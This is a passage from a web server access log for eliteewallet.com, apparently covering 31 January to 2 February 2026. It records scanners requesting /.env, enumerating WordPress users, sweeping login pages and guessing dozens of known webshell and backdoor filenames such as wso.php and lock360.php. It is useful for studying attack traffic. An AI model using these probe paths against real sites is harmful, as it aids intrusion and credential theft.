301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-content/themes/blocksy/static/bundle/main.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1" 195.178.110.54 - - [31/Jan/2026:23:48:36 +0300] "GET //eliteewallet.com/wp-content/plugins/blocksy-companion/static/bundle/sticky.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/lib/jquery-numerator/jquery-numerator.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/dist/w-arrow-image.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-content/uploads/theplus-addons/theplus-post-81.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; LGL84VL Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" 165.231.182.50 - - [31/Jan/2026:23:34:02 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 159.65.7.144 - - [01/Feb/2026:01:58:02 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.135.3.103 - - [01/Feb/2026:02:11:58 +0300] "GET /?rest_route=/wp/v2/users/1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 174.138.56.138 - - [01/Feb/2026:01:30:07 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 192.159.99.74 - - [01/Feb/2026:02:32:19 +0300] "GET / HTTP/1.1" 301 795 "eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 43.135.148.92 - - [01/Feb/2026:02:38:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 27.46.125.85 - - [01/Feb/2026:03:24:28 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3256.135 Safari/537.36 QIHU 360SE" 104.248.9.42 - - [01/Feb/2026:03:38:31 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.157.62.101 - - [01/Feb/2026:04:03:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.202.4.80 - - [01/Feb/2026:04:15:40 +0300] "GET /bf.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 14.215.163.132 - - [01/Feb/2026:04:56:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 181.215.182.163 - - [01/Feb/2026:05:30:16 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 173.249.54.83 - - [01/Feb/2026:05:25:44 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.194 - - [01/Feb/2026:05:47:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 154.44.28.155 - - [01/Feb/2026:11:11:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40.77.167.184 - - [01/Feb/2026:10:31:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 45.194.92.21 - - [01/Feb/2026:09:40:51 +0300] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 93.158.90.34 - - [01/Feb/2026:10:57:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 129.226.93.214 - - [01/Feb/2026:10:38:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 143.198.16.166 - - [01/Feb/2026:10:40:15 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 40.77.167.159 - - [01/Feb/2026:10:31:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 43.130.141.193 - - [01/Feb/2026:11:55:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 106.54.62.156 - - [01/Feb/2026:11:33:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.178.231.159 - - [01/Feb/2026:12:38:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.178.231.159 - - [01/Feb/2026:12:38:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 158.178.231.159 - - [01/Feb/2026:12:38:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.178.231.159 - - [01/Feb/2026:12:38:38 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 158.178.231.159 - - [01/Feb/2026:12:38:49 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.178.231.159 - - [01/Feb/2026:12:38:59 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 158.178.231.159 - - [01/Feb/2026:12:39:02 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.178.231.159 - - [01/Feb/2026:12:38:43 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.178.231.159 - - [01/Feb/2026:12:38:47 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.178.231.159 - - [01/Feb/2026:12:38:57 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 158.178.231.159 - - [01/Feb/2026:12:39:06 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 44.195.201.244 - - [01/Feb/2026:13:47:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 141.98.11.44 - - [01/Feb/2026:15:09:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97" 141.98.11.44 - - [01/Feb/2026:15:09:36 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "https://www.google.co.uk/search?q=wordpress" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15" 141.98.11.44 - - [01/Feb/2026:15:09:40 +0300] "GET /login/ HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.2277.83" 103.118.44.168 - - [01/Feb/2026:13:16:12 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.128.125.204 - - [01/Feb/2026:14:39:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" 45.194.92.21 - - [01/Feb/2026:14:59:05 +0300] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 85.209.129.194 - - [01/Feb/2026:15:32:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.4 (x64 de)" 91.202.4.80 - - [01/Feb/2026:15:16:42 +0300] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.153.54.138 - - [01/Feb/2026:17:17:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 119.28.89.249 - - [01/Feb/2026:18:17:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.136.94.51 - - [01/Feb/2026:18:29:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 216.244.66.194 - - [01/Feb/2026:19:12:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 20.42.209.0 - - [01/Feb/2026:19:41:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 80.94.92.96 - - [01/Feb/2026:20:38:09 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.5" 80.94.92.96 - - [01/Feb/2026:20:38:09 +0300] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.5" 34.136.94.51 - - [01/Feb/2026:19:27:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 46.19.136.239 - - [01/Feb/2026:20:42:49 +0300] "GET /Public/admin/lib/webuploader/0.1.5/webuploader.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2881.102 Safari/537.36" 143.198.44.122 - - [01/Feb/2026:21:59:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 146.103.115.7 - - [01/Feb/2026:22:20:59 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 143.198.44.122 - - [01/Feb/2026:21:59:33 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.42.209.0 - - [01/Feb/2026:22:40:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 123.187.240.242 - - [02/Feb/2026:00:57:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.32.162.125 - - [02/Feb/2026:00:12:56 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.135.182.95 - - [01/Feb/2026:23:56:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.209.196.229 - - [02/Feb/2026:00:34:46 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 91.202.4.80 - - [02/Feb/2026:00:22:28 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.164.196.57 - - [02/Feb/2026:00:51:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.65.187.217 - - [02/Feb/2026:01:35:35 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 34.73.132.18 - - [02/Feb/2026:02:07:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 34.177.100.148 - - [02/Feb/2026:02:36:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 34.73.132.18 - - [02/Feb/2026:01:45:55 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 141.98.10.136 - - [02/Feb/2026:03:42:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" 203.159.90.184 - - [02/Feb/2026:06:09:38 +0300] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 117.159.239.50 - - [02/Feb/2026:06:20:56 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 217.154.172.107 - - [02/Feb/2026:06:42:25 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.130.9.111 - - [02/Feb/2026:07:18:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 114.96.103.33 - - [02/Feb/2026:07:34:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.156.109.53 - - [02/Feb/2026:06:27:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 151.236.7.51 - - [02/Feb/2026:10:11:49 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 204.10.194.20 - - [02/Feb/2026:12:16:26 +0300] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 204.10.194.20 - - [02/Feb/2026:12:16:39 +0300] "GET /about.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.130.141.193 - - [02/Feb/2026:13:36:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.209.196.229 - - [02/Feb/2026:12:57:56 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.135.130.202 - - [02/Feb/2026:12:41:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.249.4 - - [02/Feb/2026:14:16:38 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 44.195.201.244 - - [02/Feb/2026:14:15:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 42.83.147.55 - - [02/Feb/2026:14:23:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 69.171.249.2 - - [02/Feb/2026:14:16:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 106.119.167.146 - - [02/Feb/2026:14:36:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.5.53.96 - - [02/Feb/2026:15:59:58 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:15:59:58 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:15:59:58 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:15:59:58 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:15:59:59 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:15:59:59 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:15:59:59 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:15:59:59 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:15:59:59 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:00 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:01 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:01 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:01 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:01 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:01 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:00:02 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - 